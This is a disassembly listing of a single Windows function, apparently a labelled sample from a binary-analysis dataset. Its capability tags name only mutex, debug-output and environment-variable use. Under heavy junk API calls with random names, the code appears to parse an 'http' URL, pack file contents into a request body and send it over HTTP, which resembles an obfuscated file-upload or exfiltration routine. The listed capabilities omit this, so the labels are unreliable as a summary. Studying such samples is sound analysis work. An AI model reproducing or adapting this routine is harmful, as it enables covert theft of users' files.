Function at 0x40acf1
Capabilities:
Check mutex on windows
Print debug messages
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa64
push ebx
push esi
push edi
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x14], edx
push eax
push str.s_s7vtzzwh
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.SMPHR_vk3imx2p
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, eax
push str.log:_zh92grdg
call ebx
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40ad53
call edi
push str.MTXcgnckz19
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40ad6d
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.WTMR_g2s91s1q
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_tm2sd8o3
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push 6
pop esi
push str.log:_n4rqy4pu
call ebx
sub esi, 1
jne 0x40ad8f
push str.ev_djhwfwwe
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_vks4zojj
push 1
push 0
call esi
push str.log:_u9chcop0
mov dword [ebp - 0xc], eax
call ebx
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x40adfe
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push 0
push str.reg5mq4umsq
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
push eax
push 0xfca
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xc350
push 0x40
call dword [0x41704c]
push 0x18
push 0x40
mov dword [ebp - 0x18], eax
call dword [0x41704c]
push 0x208
push 0x40
mov dword [ebp - 8], eax
call dword [0x41704c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
cmp word [eax], 0x68
jne 0x40b67f
push 0x74
pop ecx
cmp word [eax + 2], cx
jne 0x40b67f
cmp word [eax + 4], cx
jne 0x40b67f
cmp word [eax + 6], 0x70
jne 0x40b67f
movzx eax, word [eax + 8]
push str.WTMR_a3wb3mbt
push 1
push 0
mov dword [ebp - 0x3c], eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.XMLjavzo8sx
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x420]
push eax
push str.s_gr37g9eg
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.MTXxnxq2g4u
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40aef8
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push 0
push str.regasg5a7b8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
push eax
push 0x4db
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.log:_g1n80ky4
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.ut5o8wzk
push str.u3r75ta9
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0xaf5
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x44]
push eax
push 0x20019
push 0
push str.regej896r1v
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.SMPHR_w01wuxzg
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
lea eax, [ebp - 0x48]
push eax
push 0x20019
push 0
push str.regzfbam5yq
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x40af9a
call edi
push str.WTMR_hjy402y6
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.q6h45jcg
push str.uip2r83q
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test esi, esi
je 0x40afc8
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x40afe3
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push 0
push str.reghwz38tv4
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.ev_50413huk
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push dword [0x4174d0]
mov ecx, dword [ebp - 4]
push ecx
call dword [0x417190]
and dword [ebp - 0xc], 0
add eax, 6
mov dword [ebp - 0x10], eax
xor cl, cl
push 0x2f
movzx eax, word [eax]
mov edx, eax
mov dword [ebp - 4], edx
pop edx
cmp ax, dx
je 0x40b07b
mov esi, dword [ebp - 8]
xor edx, edx
mov ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
movzx eax, ax
movzx eax, ax
cmp eax, 0x3a
jne 0x40b041
mov cl, 1
jmp 0x40b057
test cl, cl
jne 0x40b051
mov edi, dword [ebp - 0x20]
mov word [edx + edi], ax
mov edi, dword [ebp - 0x10]
jmp 0x40b057
mov word [esi], ax
add esi, 2
inc ebx
push 0x2f
lea edx, [ebx + ebx]
movzx eax, word [edx + edi]
mov edi, eax
mov dword [ebp - 4], edi
pop edi
cmp ax, di
mov edi, dword [ebp - 0x10]
jne 0x40b035
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [ebp - 0x20]
call dword [0x417090]
push dword [ebp - 8]
mov esi, eax
call dword [0x417090]
push dword [ebp - 8]
add esi, eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + esi*2]
add eax, 2
mov dword [ebp - 0x1c], eax
call dword [0x417078]
push str.XMLltlzpp45
push 1
push 0
push 0
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.log:_uijgukd2
call ebx
xor eax, eax
push eax
push 0x215
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.p8sv9va6
push str.4hkujjgz
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.SMPHR_a9rmajmv
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.zuwwp523
push str.52fhizyp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x560]
push eax
push str.s_slut2spb
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.MTX9om0q4fv
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40b160
call edi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40b170
push str.fyvm78o7
push str.vv103cpy
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_cb1uu299
push 1
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.log:_h533lra5
call ebx
push 0xc7a
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x4c]
push eax
push 0x20019
push 0
push str.regd11k8nm3
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call edi
push str.WTMR_zav6ti39
push 1
push 0
call esi
push dword [ebp - 8]
call dword [0x4170cc]
mov eax, dword [ebp + 8]
shl eax, 0x15
push eax
push 0x40
call dword [0x41704c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
test eax, eax
jle 0x40b4e9
mov dword [ebp - 0xc], eax
push str.WTMR_xi91ndgx
push 1
push 0
call esi
push str.xgw5df8e
push str.wvivfg94
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor eax, eax
push eax
push 0x74d
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 5
pop esi
push str.kc667epz
push str.u4m2d781
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
sub esi, 1
jne 0x40b238
push str.MTXwgvabenl
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40b270
push str.log:_rlmqck6a
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40b28b
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.regv9wc9k68
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.ev_ounbvp1g
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x6a0]
push eax
push str.s_p4ycnpkx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x85f
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.log:_ngifw4hg
call ebx
push str.WTMR_uq62tt57
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.51d7jo5m
push str.f8sc5yaw
mov dword [ebp - 4], eax
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x40b324
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.84uo9fmm
push str.e7ytlrou
call esi
jmp 0x40b32b
push str.log:_s9phvpev
call ebx
push str.XML3gtkb050
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov ecx, dword [ebp - 0x14]
call fcn.0040f9d2
mov edx, dword [0x4174e0]
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], eax
call fcn.0040fc69
mov edx, dword [ebp - 4]
mov ecx, eax
call fcn.0040fc69
mov edx, dword [0x41740c]
mov ecx, eax
call fcn.0040fc69
mov edx, dword [0x4173f8]
mov ecx, eax
call fcn.0040fc69
mov edx, dword [ebp + 0xc]
mov ecx, eax
mov edx, dword [edx]
call fcn.0040fc69
mov edx, 0x414d40
mov ecx, eax
call fcn.0040fc69
mov edx, dword [0x41740c]
mov ecx, eax
call fcn.0040fc69
mov edx, dword [0x41741c]
mov ecx, eax
call fcn.0040fc69
mov edx, dword [0x41740c]
mov ecx, eax
call fcn.0040fc69
mov edx, dword [0x41740c]
mov ecx, eax
call fcn.0040fc69
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
mov ecx, eax
call fcn.0040fc69
mov edx, dword [0x41740c]
mov ecx, eax
call fcn.0040fc69
mov dword [ebp - 8], eax
lea eax, [ebp - 0x7e0]
push eax
push str.s_bm2y05ug
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_y01h2ibv
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40b423
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.zmggrllj
push str.fg2ptiwf
call esi
jmp 0x40b42a
push str.log:_m7kmt5r1
call ebx
push str.XMLfky632jo
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor eax, eax
push eax
push 0xaff
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.SMPHR_az5vvlxq
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.log:_e4kj0m20
mov esi, eax
call ebx
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40b492
call edi
jmp 0x40b499
push str.log:_0u7qc5gr
call ebx
push str.ev_f9rccmx4
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_m5lrh938
push 1
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push dword [ebp - 4]
call dword [0x4170cc]
add dword [ebp + 0xc], 0xc
sub dword [ebp - 0xc], 1
jne 0x40b1f4
xor eax, eax
push eax
push eax
push eax
push eax
push 0xffffffffffffffff
push dword [ebp - 8]
push eax
push 0xfde9
call dword [0x4170e8]
mov esi, dword [ebp + 8]
mov ecx, esi
shl ecx, 0x14
push ecx
push 0x40
mov dword [ebp - 0xc], eax
call dword [0x41704c]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 4], eax
lea ecx, [esi + ecx]
shl ecx, 0x14
push ecx
push 0x40
call dword [0x41704c]
push 0xd43
push 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x50]
push eax
push 0x20019
push 0
push str.regudmxaccv
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.SMPHR_s1za48z0
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40b5a1
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.regru1qr65c
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x40b5b1
push str.zpan8dvs
push str.9eilz4ir
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.XMLwroxmn7o
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x54]
push eax
push 0x20019
push 0
push str.regpwrexbmw
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x920]
push eax
push str.s_gswidjlc
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.ev_h7zkabvy
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_94qao1ul
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov eax, dword [ebp - 0xc]
mov esi, dword [ebp - 4]
test eax, eax
je 0x40b7c9
xor ecx, ecx
push ecx
push ecx
push eax
push esi
push 0xffffffffffffffff
push dword [ebp - 8]
push ecx
push 0xfde9
call dword [0x4170e8]
test eax, eax
jne 0x40b686
push dword [ebp - 8]
call dword [0x4170cc]
push dword [ebp - 0x18]
call dword [0x4170cc]
push esi
call dword [0x4170cc]
push dword [ebp - 0x20]
call dword [0x4170cc]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push str.sgbn61uw
push str.dyultzvq
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor eax, eax
push eax
push 0x10e3
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x587
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.regpdiu4smf
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.log:_x47udiz8
call ebx
push str.MTX82lg856b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call edi
test esi, esi
je 0x40b728
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 0x30]
push eax
push 0x20019
push 0
push str.regeqbot0vf
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x40b72a
call edi
push str.ev_wyrqgjyi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x1a0]
push eax
push str.s_icy0nkt4
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XML8tixmk21
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.SMPHR_z23q321u
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x40b7a0
call edi
mov esi, dword [ebp - 4]
push esi
call dword [0x41719c]
test eax, eax
jle 0x40b7c9
push dword [ebp - 0xc]
push esi
push dword [ebp - 0x24]
call dword [0x417008]
test eax, eax
je 0x40b7c9
mov ecx, dword [ebp - 0x24]
dec ecx
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
push dword [ebp - 8]
call dword [0x4170cc]
push esi
call dword [0x4170cc]
cmp dword [ebp + 0x10], 0
jle 0x40bb06
mov esi, dword [ebp + 0x14]
add esi, 4
mov dword [ebp - 8], esi
push 0
push dword [esi]
call dword [0x417154]
mov dword [ebp - 0xc], eax
lea ecx, [eax + 0x400]
push ecx
push 0x40
call dword [0x41704c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x40]
push eax
push 0x20019
push 0
push str.regb20lh6pl
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.WTMR_a96v12lz
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.d5zl6699
push str.25l4t7u9
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test esi, esi
je 0x40b852
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.WTMR_1ki26yuz
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.ev_l1z0l00z
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.XMLe8moth3u
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.MTX6ozsop4h
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40b8c5
call edi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call edi
mov edx, dword [0x4174c0]
mov ecx, dword [ebp - 4]
call fcn.0040feff
mov edx, dword [0x417538]
mov ecx, eax
call fcn.0040feff
mov edx, dword [ebp - 0x14]
mov ecx, eax
call fcn.0040feff
mov edx, dword [0x4174c0]
mov ecx, eax
call fcn.0040feff
mov edx, dword [0x417540]
mov ecx, eax
call fcn.0040feff
mov edx, dword [ebp - 8]
mov ecx, eax
mov edx, dword [edx - 4]
call fcn.0040feff
mov edx, 0x414f48
mov ecx, eax
call fcn.0040feff
mov edx, dword [0x4174c0]
mov ecx, eax
call fcn.0040feff
mov edx, dword [0x4174d4]
mov ecx, eax
call fcn.0040feff
mov edx, dword [0x4174c0]
mov ecx, eax
call fcn.0040feff
mov edx, dword [0x4174c0]
mov ecx, eax
call fcn.0040feff
mov esi, eax
push esi
mov dword [ebp - 0x28], esi
call dword [0x41719c]
mov dword [ebp - 4], eax
lea ecx, [eax + 1]
push ecx
push esi
mov esi, dword [ebp - 0x10]
push esi
call dword [0x417008]
test eax, eax
je 0x40b9a8
mov eax, dword [ebp - 8]
add esi, dword [ebp - 4]
mov dword [ebp - 0x10], esi
cmp dword [eax], 0
je 0x40b9a8
push 0
lea ecx, [ebp - 0x30]
push ecx
push dword [ebp - 0xc]
push esi
push dword [eax]
call dword [0x41708c]
test eax, eax
je 0x40b99d
add esi, dword [ebp - 0x30]
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 8]
push dword [eax]
call dword [0x4170c0]
push str.ev_301aff78
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x1a0]
push eax
push str.s_ppq64u2y
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_xuffvx0r
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XMLu7vsecrb
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call edi
push str.SMPHR_5pq56eyt
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40ba3d
push str.log:_4lk3sg0f
call ebx
jmp 0x40ba3f
call edi
xor eax, eax
push eax
push 0xf0c
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0x249
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.MTXjtyngfhk
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40ba8e
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.WTMR_dh0rcwfk
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.xsguzti4
push str.xrc9odtk
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test esi, esi
je 0x40babc
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x40bac3
push str.log:_42nwun63
call ebx
mov esi, dword [ebp - 8]
cmp dword [esi - 4], 0
je 0x40bad5
push dword [esi - 4]
call dword [0x4170cc]
cmp dword [esi + 4], 0
je 0x40baed
push dword [esi + 4]
call dword [0x4170f8]
push dword [esi + 4]
call dword [0x4170cc]
push dword [ebp - 0x28]
call dword [0x4170cc]
add esi, 0x10
sub dword [ebp + 0x10], 1
mov dword [ebp - 8], esi
jne 0x40b7ec
xor eax, eax
push eax
push 0xf0d
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x58]
push eax
push 0x20019
push 0
push str.regyezpr8p0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.MTX3hp8jysu
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40bb5a
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call edi
jmp 0x40bb6a
push str.ua90hhpd
push str.b41wj9qb
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_zadb713x
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40bb96
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.uc1gakqi
push str.nh396059
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
jmp 0x40bb9d
push str.log:_8p4gj250
call ebx
push str.SMPHR_rw43dmgh
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.omriichf
push str.cbscjwnj
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40bbdb
push str.8zub2tyd
push str.x3cf3e84
jmp 0x40bbe5
push str.haxpa9j7
push str.vbpjj1o8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.ev_d723nldd
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100
push 0x40
call dword [0x41704c]
mov edx, dword [0x4174c0]
mov ecx, eax
call fcn.0040feff
mov edx, dword [0x417538]
mov ecx, eax
call fcn.0040feff
mov edx, dword [ebp - 0x14]
mov ecx, eax
call fcn.0040feff
mov edx, dword [0x417538]
mov ecx, eax
call fcn.0040feff
mov esi, eax
push esi
mov dword [ebp - 0x14], esi
call dword [0x41719c]
inc eax
push eax
push esi
mov esi, dword [ebp - 0x10]
push esi
call dword [0x417008]
test eax, eax
je 0x40bc72
push dword [ebp - 0x14]
call dword [0x41719c]
add esi, eax
push dword [ebp - 0x14]
call dword [0x4170cc]
xor eax, eax
mov dword [ebp - 0x34], 0x7530
push eax
push eax
push eax
push eax
push str.Xmlst
mov dword [ebp - 0x38], 0x7a120
call dword [0x41712c]
push 4
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x14], eax
push ecx
push 6
push eax
call dword [0x417178]
push 4
lea eax, [ebp - 0x38]
push eax
push 5
push dword [ebp - 0x14]
call dword [0x417178]
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x40bd97
push 1
xor ecx, ecx
push ecx
push 3
push ecx
push ecx
push dword [ebp - 0x2c]
push dword [ebp - 0x20]
push eax
call dword [0x417184]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x40bd8e
cmp word [ebp - 0x3c], 0x73
mov edx, 0xc00000
push 1
mov ecx, 0x400000
cmove ecx, edx
push ecx
push dword [ebp + 0x1c]
push 0
push 0
push dword [ebp - 0x1c]
push dword [0x4172a0]
push eax
call dword [0x4170bc]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x40bd85
mov eax, dword [ebp - 0x24]
sub esi, eax
push esi
push eax
push dword [ebp + 0x18]
call dword [0x417090]
mov esi, dword [ebp - 0x1c]
push eax
push dword [ebp + 0x18]
push esi
call dword [0x417018]
test eax, eax
je 0x40bd7e
lea eax, [ebp - 4]
push eax
push 0xc350
push dword [ebp - 0x18]
push esi
call dword [0x417100]
test eax, eax
je 0x40bd7e
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40bd78
mov byte [eax + edi], 0
lea eax, [ebp - 4]
push eax
push 0xc350
push edi
push esi
call dword [0x417100]
test eax, eax
jne 0x40bd58
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [0x41706c]
